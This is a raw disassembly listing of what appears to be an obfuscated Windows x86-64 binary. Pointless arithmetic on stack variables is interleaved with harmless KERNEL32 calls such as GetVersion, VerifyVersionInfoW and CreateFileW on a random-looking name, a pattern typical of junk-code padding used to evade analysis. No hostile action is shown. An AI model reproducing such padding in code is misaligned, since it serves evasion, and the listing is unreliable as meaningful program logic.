mov eax, dword [rax]
shl eax, cl
mov rcx, qword [rsp + 0x13908]
mov dword [rcx], eax
mov rax, qword [rsp + 0x13f78]
mov eax, dword [rax]
mov dword [rsp + 0xa5f4], eax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_ConvertThreadToFiber]
mov rax, qword [rsp + 0x15220]
mov eax, dword [rax]
mov rcx, qword [0x14036a1e8]
mov qword [rsp + 0x16920], rcx
movzx ecx, al
mov rax, qword [rsp + 0x16920]
mov eax, dword [rax]
shr eax, cl
mov dword [rsp + 0x99b8], eax
mov rax, qword [rsp + 0x16520]
mov ecx, dword [rsp + 0x9b7c]
mov eax, dword [rax]
or eax, ecx
mov rcx, qword [0x140369f70]
mov dword [rcx], eax
mov rax, qword [rsp + 0x16840]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x9198]
and ecx, eax
mov eax, ecx
mov dword [rsp + 0x6944], eax
mov rax, qword [rsp + 0x13468]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x2d2c]
and eax, ecx
mov rcx, qword [rsp + 0x13330]
mov word [rcx], ax
mov rax, qword [rsp + 0x139f8]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x7cb]
add eax, ecx
mov rcx, qword [rsp + 0x15500]
mov byte [rcx], al
movzx eax, word [rsp + 0x1f38]
mov word [rsp + 0x2e78], ax
mov rax, qword [rsp + 0x151a0]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x14d30]
movzx ecx, byte [rcx]
imul eax, ecx
mov byte [rsp + 0x453], al
lea rax, [rsp + 0x6b70]
mov qword [rsp + 0x16928], rax
mov rax, qword [rsp + 0x15fa0]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x8bb4]
or ecx, eax
mov eax, ecx
mov dword [rsp + 0x5c14], eax
mov rax, qword [rsp + 0x16090]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x2090]
sub eax, ecx
mov word [rsp + 0x2c14], ax
lea rax, [rsp + 0x708]
mov qword [0x14036a4d0], rax
mov rax, qword [rsp + 0x14790]
mov eax, dword [rax]
mov ecx, dword [0x140369c64]
and ecx, eax
mov eax, ecx
mov dword [rsp + 0x715c], eax
mov eax, dword [rsp + 0x8a5c]
mov ecx, dword [rsp + 0x52fc]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0xa10c], eax
mov rax, qword [rsp + 0x14118]
mov eax, dword [rax]
mov dword [rsp + 0xa5f8], eax
mov rax, qword [rsp + 0x130b0]
mov rcx, qword [rsp + 0x150e8]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x9b48], eax
mov rax, qword [rsp + 0x14d80]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x16380]
movzx ecx, word [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x13578]
mov word [rcx], ax
lea rax, [rsp + 0x78f]
mov qword [rsp + 0x16930], rax
mov qword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0x25a5
mov r9d, 0x3fef
mov r8d, 0x5be51096
mov edx, 1
mov rcx, qword [rsp + 0x15440]
call qword [sym.imp.KERNEL32.dll_LockFileEx]
mov dword [rsp + 0xa5fc], eax
mov rax, qword [rsp + 0x146e8]
mov eax, dword [rax]
movzx ecx, al
mov eax, dword [rsp + 0xa4a0]
sar eax, cl
mov rcx, qword [rsp + 0x16198]
mov dword [rcx], eax
mov eax, dword [rsp + 0x9cc0]
mov dword [rsp + 0xa600], eax
movsx eax, word [rsp + 0x2d84]
movsx ecx, word [rsp + 0x2ce8]
xor eax, ecx
mov word [0x14036a11c], ax
mov rax, qword [rsp + 0x163c0]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x162e0]
movsx ecx, byte [rcx]
shl eax, cl
mov byte [rsp + 0x730], al
movzx eax, word [rsp + 0x2dfc]
imul eax, eax, 0x7b8
mov word [rsp + 0x2bd0], ax
movzx eax, byte [rsp + 0x7d5]
mov rcx, qword [rsp + 0x15bd8]
movzx ecx, byte [rcx]
or eax, ecx
mov byte [rsp + 0x282], al
mov eax, dword [rsp + 0x62d8]
mov ecx, dword [rsp + 0x8df8]
and ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x163c8]
mov dword [rcx], eax
mov eax, dword [rsp + 0x5b10]
mov dword [rsp + 0xa604], eax
mov eax, dword [rsp + 0xa23c]
mov ecx, dword [rsp + 0x9bec]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x9664], eax
lea rax, [rsp + 0x9c38]
mov qword [rsp + 0x16938], rax
mov rax, qword [rsp + 0x13ed8]
mov rcx, qword [rsp + 0x161d0]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0x14300]
mov dword [rcx], eax
mov rcx, qword [rsp + 0x15a30]
call qword [sym.imp.KERNEL32.dll_ReleaseMutex]
movzx eax, byte [rsp + 0x56f]
mov rcx, qword [rsp + 0x13128]
movzx ecx, byte [rcx]
and eax, ecx
mov rcx, qword [rsp + 0x14870]
mov byte [rcx], al
lea rax, [rsp + 0x2d04]
mov qword [0x14036a4d8], rax
mov eax, dword [rsp + 0xa1d0]
mov ecx, dword [rsp + 0x747c]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x8d8c], eax
mov rax, qword [rsp + 0x12df0]
mov ecx, dword [rsp + 0x9d7c]
mov eax, dword [rax]
or eax, ecx
mov rcx, qword [rsp + 0x15a88]
mov dword [rcx], eax
mov eax, dword [rsp + 0xa538]
mov dword [rsp + 0xa608], eax
xor r8d, r8d
mov edx, 4
lea rcx, [rsp + 0x4b370]
call qword [sym.imp.KERNEL32.dll_VerifyVersionInfoW]
mov dword [rsp + 0xa1e4], eax
mov rcx, qword [rsp + 0x16870]
call qword [sym.imp.KERNEL32.dll_SetEvent]
mov dword [rsp + 0xa60c], eax
mov eax, dword [0x14036a118]
mov ecx, dword [rsp + 0x72a4]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x162b0]
mov dword [rcx], eax
mov rax, qword [rsp + 0x15598]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x13c80]
movzx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x2bb8], ax
lea rax, [rsp + 0x615]
mov qword [rsp + 0x16940], rax
xor r8d, r8d
mov edx, 0x20
lea rcx, [rsp + 0x4add0]
call qword [sym.imp.KERNEL32.dll_VerifyVersionInfoW]
mov dword [rsp + 0xa5cc], eax
mov rax, qword [rsp + 0x13008]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x12ec]
and eax, ecx
mov rcx, qword [rsp + 0x168f8]
mov word [rcx], ax
lea rax, [rsp + 0x6a0]
mov qword [rsp + 0x16948], rax
mov edx, 0x592
mov rcx, qword [rsp + 0x14640]
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov dword [rsp + 0x9d88], eax
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0x400
mov dword [rsp + 0x20], 2
xor r9d, r9d
mov r8d, 2
mov edx, 0x80000000
lea rcx, str.4eh8O7U9XNDI9pWer8Ns_taUvrItJJr
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov qword [rsp + 0x16950], rax
mov rax, qword [rsp + 0x150e8]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x9a94]
add ecx, eax
mov eax, ecx
mov dword [0x140362570], eax
mov rax, qword [rsp + 0x14c98]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x8f14]
xor ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x15fc0]
mov dword [rcx], eax
mov rax, qword [rsp + 0x14fd8]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x15ce8]
movzx ecx, word [rcx]
shl eax, cl
mov word [rsp + 0x2cc0], ax
lea rax, [rsp + 0x666]
mov qword [rsp + 0x16958], rax
mov eax, dword [rsp + 0x595c]
mov rcx, qword [rsp + 0x156c8]
mov qword [rsp + 0x16960], rcx
movzx ecx, al
mov rax, qword [rsp + 0x16960]
mov eax, dword [rax]
sar eax, cl
mov rcx, qword [rsp + 0x14098]
mov dword [rcx], eax
lea rax, [rsp + 0x5480]
mov qword [rsp + 0x16968], rax
mov eax, dword [rsp + 0x53f0]
mov ecx, dword [rsp + 0xa20c]
or ecx, eax
mov eax, ecx
mov dword [rsp + 0x9f28], eax
mov eax, dword [0x140362478]
mov dword [rsp + 0xa610], eax
mov rax, qword [rsp + 0x15b10]
movzx eax, byte [rax]
imul eax, eax, 0xe4
mov rcx, qword [rsp + 0x167b8]
mov byte [rcx], al
lea rax, [rsp + 0x17fc]
mov qword [0x14036a4e0], rax
mov rax, qword [0x140369ef8]
mov eax, dword [rax]
mov ecx, dword [rsp + 0xa500]
and ecx, eax
mov eax, ecx
mov dword [rsp + 0xa174], eax
call qword [sym.imp.KERNEL32.dll_GetVersion]
mov dword [rsp + 0x9b68], eax
lea rax, [rsp + 0x938c]
mov qword [rsp + 0x16970], rax
mov rax, qword [rsp + 0x12f40]
mov rcx, qword [rsp + 0x164b8]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x9cf0], eax
mov rcx, qword [rsp + 0x14590]
call qword [sym.imp.KERNEL32.dll_SetEvent]
mov dword [rsp + 0xa3c8], eax
lea rax, [rsp + 0x9a6c]
mov qword [rsp + 0x16978], rax
mov rax, qword [rsp + 0x141d0]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x5c50]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x9f74], eax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetCommMask]
mov rax, qword [rsp + 0x15940]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x14328]
movsx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x7dd], al
mov rax, qword [rsp + 0x16610]
movsx eax, word [rax]
movsx ecx, word [0x1403624c8]
and eax, ecx
mov word [rsp + 0x15fc], ax
movzx eax, word [rsp + 0x2cb8]
movzx ecx, word [rsp + 0x1a44]
sub eax, ecx
mov rcx, qword [rsp + 0x13960]
mov word [rcx], ax
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateMutexW]
mov qword [rsp + 0x16980], rax
mov rax, qword [rsp + 0x16218]
movzx eax, byte [rax]
mov rcx, qword [0x140369f90]
movzx ecx, byte [rcx]
or eax, ecx
mov rcx, qword [0x140369db8]
mov byte [rcx], al
mov eax, dword [rsp + 0x9eb8]
mov dword [rsp + 0xa614], eax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_SetPriorityClass]
mov rax, qword [rsp + 0x15288]
mov rcx, qword [rsp + 0x15f18]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0xa174], eax
movzx eax, word [rsp + 0x1e6c]
mov rcx, qword [0x14036a2a8]
movzx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x13d8], ax
lea rcx, [rsp + 0x4cd50]
call qword [sym.imp.KERNEL32.dll_GetVersionExW]
mov dword [rsp + 0x9fd8], eax
mov rax, qword [rsp + 0x15318]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x73a]
sub eax, ecx
mov byte [rsp + 0x2a5], al
mov rax, qword [rsp + 0x146a0]
mov eax, dword [rax]
mov rcx, qword [rsp + 0x16400]
mov qword [rsp + 0x16988], rcx
movzx ecx, al
mov rax, qword [rsp + 0x16988]
mov eax, dword [rax]
sar eax, cl
mov dword [rsp + 0x6d6c], eax
lea rax, [rsp + 0x631c]
mov qword [rsp + 0x16990], rax
mov rax, qword [rsp + 0x15ba0]
mov eax, dword [rax]
movzx ecx, al
mov eax, dword [rsp + 0xa048]
shl eax, cl
mov dword [rsp + 0xa314], eax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_AssignProcessToJobObject]
mov eax, dword [rsp + 0x8ff8]
mov ecx, dword [rsp + 0xa4b8]
xor ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x12fa0]
mov dword [rcx], eax
movzx eax, byte [rsp + 0x3da]
mov byte [0x140364094], al
mov rax, qword [rsp + 0x135c8]
movzx eax, word [rax]
mov word [rsp + 0x2e7c], ax
mov rcx, qword [rsp + 0x14ec8]
call qword [sym.imp.KERNEL32.dll_ResetEvent]
mov rax, qword [rsp + 0x157c8]
mov rcx, qword [rsp + 0x13640]
mov ecx, dword [rcx]
mov eax, dword [rax]
or eax, ecx
mov dword [rsp + 0xa5dc], eax
mov rax, qword [0x140369f80]
mov eax, dword [rax]
mov dword [rsp + 0xa618], eax
mov rax, qword [rsp + 0x13098]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x15f30]
movsx ecx, word [rcx]
and eax, ecx
mov rcx, qword [rsp + 0x15a80]
mov word [rcx], ax
movsx eax, byte [rsp + 0x6f8]
mov rcx, qword [rsp + 0x156d0]
movsx ecx, byte [rcx]
and eax, ecx
mov byte [rsp + 0x6ae], al
call qword [sym.imp.KERNEL32.dll_GetVersion]
mov dword [rsp + 0x9b4c], eax
lea rdx, [rsp + 0x43678]
mov rcx, qword [rsp + 0x16950]
call qword [sym.imp.KERNEL32.dll_GetFileInformationByHandle]
mov dword [rsp + 0x9d94], eax
mov rax, qword [0x14036a1c8]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x15618]
movzx ecx, byte [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x15e88]
mov byte [rcx], al
mov rax, qword [rsp + 0x16050]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x2e60]
sub eax, ecx
mov word [rsp + 0x2c50], ax
lea rax, [rsp + 0x9f18]
mov qword [rsp + 0x16998], rax
mov rax, qword [0x14036a1f0]
mov ecx, dword [rsp + 0xa4cc]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [0x14036a410]
mov dword [rcx], eax
mov eax, dword [rsp + 0x72b8]
mov ecx, dword [rsp + 0xa618]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x9bec], eax
mov rax, qword [rsp + 0x15870]
mov eax, dword [rax]
mov dword [rsp + 0xa61c], eax
mov rax, qword [rsp + 0x14680]
mov eax, dword [rax]
mov ecx, dword [rsp + 0xa608]
and ecx, eax
mov eax, ecx
mov dword [rsp + 0x62ac], eax
mov rax, qword [rsp + 0x14bf8]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0xa1]
or eax, ecx
mov byte [rsp + 0x78b], al
mov rax, qword [rsp + 0x13960]
movzx eax, word [rax]
mov rcx, qword [0x14036a278]
movzx ecx, word [rcx]
imul eax, ecx
mov word [rsp + 0x26b0], ax
mov eax, dword [rsp + 0x5694]
mov ecx, dword [rsp + 0xa460]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x9b18], eax
lea rax, [rsp + 0x9684]
mov qword [rsp + 0x169a0], rax
call qword [sym.imp.KERNEL32.dll_GetVersion]
mov dword [rsp + 0xa154], eax
mov eax, dword [rsp + 0x5dc0]
mov rcx, qword [rsp + 0x14f90]
mov qword [rsp + 0x169a8], rcx
movzx ecx, al
mov rax, qword [rsp + 0x169a8]
mov eax, dword [rax]
shl eax, cl
mov rcx, qword [rsp + 0x14888]
mov dword [rcx], eax
mov rax, qword [rsp + 0x15d98]
mov eax, dword [rax]
mov dword [0x14036a4e8], eax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetCommModemStatus]
mov rax, qword [rsp + 0x163a8]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x742]
sar eax, cl
mov byte [rsp + 0x77c], al
movzx eax, word [0x140369fe8]
mov word [rsp + 0x2e80], ax
mov rax, qword [rsp + 0x16140]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x13050]
movsx ecx, byte [rcx]
xor eax, ecx
mov rcx, qword [rsp + 0x15b60]
mov byte [rcx], al
mov rax, qword [rsp + 0x15bd0]
movzx eax, word [rax]
mov word [rsp + 0x2e84], ax
mov rax, qword [rsp + 0x15638]
mov eax, dword [rax]
mov ecx, dword [rsp + 0xa294]
and ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x13fd8]
mov dword [rcx], eax
mov rax, qword [rsp + 0x15560]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x5a08]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x8f64], eax
mov rax, qword [rsp + 0x147d8]
movzx eax, byte [rax]
imul eax, eax, 0x27
mov rcx, qword [rsp + 0x13a88]
mov byte [rcx], al
movzx eax, word [0x140362494]
mov rcx, qword [rsp + 0x15e38]
movzx ecx, word [rcx]
or eax, ecx
mov word [rsp + 0x2b80], ax
mov rax, qword [rsp + 0x13298]
mov ecx, dword [rsp + 0xa518]
mov eax, dword [rax]
add eax, ecx
mov dword [0x140362588], eax
call qword [sym.imp.KERNEL32.dll_GetVersion]
mov dword [rsp + 0xa06c], eax
mov rax, qword [0x14036a028]
mov eax, dword [rax]
mov dword [rsp + 0xa620], eax
mov eax, dword [rsp + 0xa004]
mov ecx, dword [rsp + 0xa230]
and ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x157a0]
mov dword [rcx], eax
mov rax, qword [rsp + 0x157c8]
mov ecx, dword [rsp + 0x9b04]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x8a8c], eax
movzx eax, byte [rsp + 0x7b2]
movzx ecx, byte [rsp + 0x1c4]
sub eax, ecx
mov byte [rsp + 0x666], al
movzx eax, word [rsp + 0x2cec]
movzx ecx, word [rsp + 0x137c]
sub eax, ecx
mov word [rsp + 0x2d60], ax
lea rax, [rsp + 0x9e00]
mov qword [rsp + 0x169b0], rax
mov eax, dword [rsp + 0x63d0]
mov ecx, dword [rsp + 0x873c]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x159f0]
mov dword [rcx], eax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetStdHandle]
mov dword [rsp + 0x4d770], 0x11c
mov rcx, qword [rsp + 0x13ae8]
call qword [sym.imp.KERNEL32.dll_ReleaseMutex]
mov rax, qword [rsp + 0x142d0]
mov eax, dword [rax]
mov dword [rsp + 0xa624], eax
xor r8d, r8d
mov edx, 0x40
lea rcx, [rsp + 0x4ce70]
call qword [sym.imp.KERNEL32.dll_VerifyVersionInfoW]
mov dword [rsp + 0xa1e0], eax
mov eax, dword [rsp + 0xa178]
mov ecx, dword [rsp + 0x9e44]
add ecx, eax
mov eax, ecx
mov rcx, qword [0x14036a178]
mov dword [rcx], eax
mov eax, dword [rsp + 0x6b08]
mov ecx, dword [0x140362534]
or ecx, eax
mov eax, ecx
mov dword [rsp + 0xa110], eax
movsx eax, byte [rsp + 0x7d6]
movsx ecx, byte [rsp + 0x260]
sar eax, cl
mov rcx, qword [rsp + 0x16948]
mov byte [rcx], al
lea rax, [0x140369f2c]
mov qword [rsp + 0x169b8], rax
mov rax, qword [rsp + 0x15678]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x149b0]
movzx ecx, word [rcx]
shl eax, cl
mov word [rsp + 0x2e04], ax
lea rax, [rsp + 0x764]
mov qword [rsp + 0x169c0], rax
mov rax, qword [rsp + 0x15360]
mov eax, dword [rax]
mov ecx, dword [rsp + 0xa090]
xor ecx, eax
mov eax, ecx
mov dword [rsp + 0xa124], eax
mov rax, qword [rsp + 0x14850]
mov eax, dword [rax]
mov ecx, dword [rsp + 0xa618]
and ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x16540]
mov dword [rcx], eax
mov rax, qword [rsp + 0x12e08]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x764]
and eax, ecx
mov byte [rsp + 0x47d], al
lea rax, [rsp + 0x2a94]
mov qword [0x14036a4f0], rax
mov rax, qword [rsp + 0x13620]
mov ecx, dword [rsp + 0x9b6c]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0x164a0]
mov dword [rcx], eax
lea rax, [rsp + 0x9f48]
mov qword [rsp + 0x169c8], rax
mov rax, qword [0x14036a3b0]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x9bc0]
or ecx, eax
mov eax, ecx
mov dword [rsp + 0xa230], eax
mov eax, dword [rsp + 0xa2ec]
mov dword [rsp + 0xa628], eax
movzx eax, byte [rsp + 0x7ad]
movzx ecx, byte [rsp + 0x2b0]
imul eax, ecx
mov rcx, qword [rsp + 0x15ff8]
mov byte [rcx], al
movzx eax, word [rsp + 0x2c80]
mov rcx, qword [rsp + 0x13dd0]
movzx ecx, word [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x14e58]
mov word [rcx], ax
mov eax, dword [rsp + 0x9f00]
mov dword [rsp + 0xa62c], eax
mov rax, qword [rsp + 0x15958]
mov ecx, dword [rsp + 0x98e0]
mov eax, dword [rax]
and eax, ecx
mov rcx, qword [rsp + 0x15238]
mov dword [rcx], eax
mov rax, qword [0x140369e00]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x32c]
sub eax, ecx
mov byte [0x140363f6f], al
lea rax, [rsp + 0x1bf0]
mov qword [rsp + 0x169d0], rax
movzx eax, word [rsp + 0x2e6c]
mov rcx, qword [rsp + 0x16658]
movzx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x2de0], ax
mov rax, qword [rsp + 0x16228]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x15128]
movzx ecx, byte [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x13a38]
mov byte [rcx], al
lea rax, [rsp + 0x9c9c]
mov qword [rsp + 0x169d8], rax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetProcessPriorityBoost]
mov eax, dword [rsp + 0xa0d8]
mov ecx, dword [rsp + 0x6234]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x9aec], eax
mov rax, qword [rsp + 0x14680]
mov ecx, dword [rsp + 0xa16c]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x79c8], eax
mov dword [rsp + 0x4d890], 0x11c
mov rax, qword [rsp + 0x16360]
mov rcx, qword [rsp + 0x15700]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0xa280], eax
mov rax, qword [rsp + 0x15700]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x8ae8]
xor ecx, eax
mov eax, ecx
mov dword [rsp + 0x9c6c], eax
lea rax, [rsp + 0x72e]
mov qword [rsp + 0x169e0], rax
movzx eax, word [rsp + 0x1764]
movzx ecx, word [rsp + 0x1c5c]
cdq
idiv ecx
mov word [0x14036a1b0], ax
mov eax, dword [rsp + 0x9aa8]
movzx ecx, al
mov eax, dword [rsp + 0xa0a8]
shl eax, cl
mov rcx, qword [rsp + 0x13cb0]
mov dword [rcx], eax
lea rax, [rsp + 0xa39c]
mov qword [rsp + 0x169e8], rax
mov eax, dword [rsp + 0xa3d4]
movzx ecx, al
mov eax, dword [rsp + 0x9d84]
sar eax, cl
mov dword [rsp + 0x9f90], eax
mov rax, qword [rsp + 0x166a8]
mov eax, dword [rax]
mov ecx, dword [rsp + 0xa2f8]
or ecx, eax
mov eax, ecx
mov dword [rsp + 0x59d0], eax
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetProcessAffinityMask]
call qword [sym.imp.KERNEL32.dll_GetVersion]
mov dword [rsp + 0x9be0], eax
lea rax, [rsp + 0x43d]
mov qword [rsp + 0x169f0], rax
xor r8d, r8d
mov edx, 4
lea rcx, [rsp + 0x4d2f0]
call qword [sym.imp.KERNEL32.dll_VerifyVersionInfoW]
mov dword [rsp + 0xa630], eax
mov rax, qword [rsp + 0x13be0]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x2d78]
and eax, ecx
mov word [rsp + 0x1b98], ax
movzx eax, byte [0x140363efc]
mov byte [rsp + 0x7df], al
lea rdx, [rsp + 0x432c0]
mov rcx, qword [rsp + 0x12bf0]
call qword [sym.imp.KERNEL32.dll_GetFileInformationByHandle]
mov dword [rsp + 0xa37c], eax
movsx eax, word [rsp + 0x2dac]
mov rcx, qword [rsp + 0x136a0]
movsx ecx, word [rcx]
and eax, ecx
mov word [rsp + 0x17e4], ax
call qword [sym.imp.KERNEL32.dll_GetVersion]
mov dword [rsp + 0x9f40], eax
mov rax, qword [rsp + 0x158f0]
mov eax, dword [rax]
mov dword [0x14036a4f8], eax
mov rax, qword [rsp + 0x15ec8]
mov eax, dword [rax]
mov ecx, dword [rsp + 0xa368]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x80fc], eax
movzx eax, byte [rsp + 0x773]
movzx ecx, byte [rsp + 0x5cb]
imul eax, ecx
mov byte [rsp + 0x75f], al
movzx eax, word [rsp + 0x2c2c]
mov rcx, qword [0x140369ef0]
movzx ecx, word [rcx]
or eax, ecx
mov word [rsp + 0x2e08], ax
mov eax, dword [rsp + 0xa610]
mov dword [rsp + 0xa634], eax
mov rax, qword [rsp + 0x13d38]
mov ecx, dword [rsp + 0xa1a0]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0x14678]
mov dword [rcx], eax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_AssignProcessToJobObject]
lea rax, [rsp + 0x7a5c]
mov qword [rsp + 0x169f8], rax
mov rax, qword [rsp + 0x164d8]
mov ecx, dword [rsp + 0x9d54]
mov eax, dword [rax]
and eax, ecx
mov dword [rsp + 0x6050], eax
call qword [sym.imp.KERNEL32.dll_GetVersion]
mov dword [rsp + 0xa564], eax
mov rax, qword [rsp + 0x15190]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x152c0]
movzx ecx, word [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x13610]
mov word [rcx], ax
mov rax, qword [rsp + 0x13a90]
movzx eax, byte [rax]
mov rcx, qword [0x14036a360]
movzx ecx, byte [rcx]
add eax, ecx
mov rcx, qword [0x140369e68]
mov byte [rcx], al
mov rcx, qword [rsp + 0x15208]
call qword [sym.imp.KERNEL32.dll_SetEvent]
mov dword [rsp + 0xa414], eax
mov rax, qword [rsp + 0x13ea8]
mov eax, dword [rax]
mov dword [rsp + 0xa638], eax
mov rax, qword [rsp + 0x165d8]
mov ecx, dword [rsp + 0xa62c]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0x13040]
mov dword [rcx], eax
mov eax, dword [0x140362498]
mov ecx, dword [rsp + 0x9c1c]
xor ecx, eax
mov eax, ecx
mov dword [rsp + 0x6064], eax
mov rax, qword [rsp + 0x15408]
mov eax, dword [rax]
mov rcx, qword [rsp + 0x16398]
mov qword [rsp + 0x16a00], rcx
movzx ecx, al
mov rax, qword [rsp + 0x16a00]
mov eax, dword [rax]
sar eax, cl
mov dword [rsp + 0x9e60], eax
mov eax, dword [0x1403624b0]
mov rcx, qword [rsp + 0x16208]
mov qword [rsp + 0x16a08], rcx
movzx ecx, al
mov rax, qword [rsp + 0x16a08]
mov eax, dword [rax]
shl eax, cl
mov dword [rsp + 0x9ab4], eax
lea rax, [rsp + 0x2dcc]
mov qword [rsp + 0x16a10], rax
movsx eax, byte [rsp + 0x77b]
mov rcx, qword [rsp + 0x156d0]
movsx ecx, byte [rcx]
or eax, ecx
mov rcx, qword [rsp + 0x14cc8]
mov byte [rcx], al
lea rdx, [rsp + 0x42cd8]
mov rcx, qword [rsp + 0x162f8]
call qword [sym.imp.KERNEL32.dll_GetFileInformationByHandle]
mov dword [rsp + 0xa63c], eax
lea rax, [rsp + 0x2d98]
mov qword [rsp + 0x16a18], rax
movzx eax, byte [rsp + 0x2f8]
mov rcx, qword [rsp + 0x13c40]
movzx ecx, byte [rcx]
and eax, ecx
mov byte [0x14035260e], al
mov rax, qword [rsp + 0x14740]
mov ecx, dword [rsp + 0x6598]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0x13490]
mov dword [rcx], eax
lea rax, [rsp + 0x7430]
mov qword [rsp + 0x16a20], rax
movzx eax, byte [rsp + 0x7b8]
movzx ecx, byte [rsp + 0x6c0]
sub eax, ecx
mov byte [rsp + 0x78c], al
mov rcx, qword [rsp + 0x142b0]
call qword [sym.imp.KERNEL32.dll_ResetEvent]
mov rax, qword [rsp + 0x145a8]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x160a8]
movzx ecx, word [rcx]
and eax, ecx
mov rcx, qword [rsp + 0x15db8]
mov word [rcx], ax
mov eax, dword [rsp + 0x9b64]
mov dword [rsp + 0xa640], eax
mov rax, qword [rsp + 0x15b68]
mov eax, dword [rax]
mov ecx, dword [0x14036a4b4]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x137c8]
mov dword [rcx], eax
mov rax, qword [rsp + 0x13b70]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x9d2c]
or ecx, eax
mov eax, ecx
mov dword [rsp + 0x77b8], eax
xor r8d, r8d
mov edx, 0x20
lea rcx, [rsp + 0x4aef0]
call qword [sym.imp.KERNEL32.dll_VerifyVersionInfoW]
mov dword [rsp + 0xa4e8], eax
mov rax, qword [0x14036a4c8]
mov rcx, qword [rsp + 0x13068]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x7804], eax
lea rax, [rsp + 0x1c4]
mov qword [0x14036a500], rax
mov rax, qword [rsp + 0x14a28]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x14ba0]
movzx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x2d08], ax
lea rax, [0x140362588]
mov qword [rsp + 0x16a28], rax
mov rax, qword [rsp + 0x14998]
mov rcx, qword [rsp + 0x15a08]
mov ecx, dword [rcx]
mov eax, dword [rax]
and eax, ecx
mov dword [rsp + 0x98e4], eax
movzx eax, word [rsp + 0x2c70]
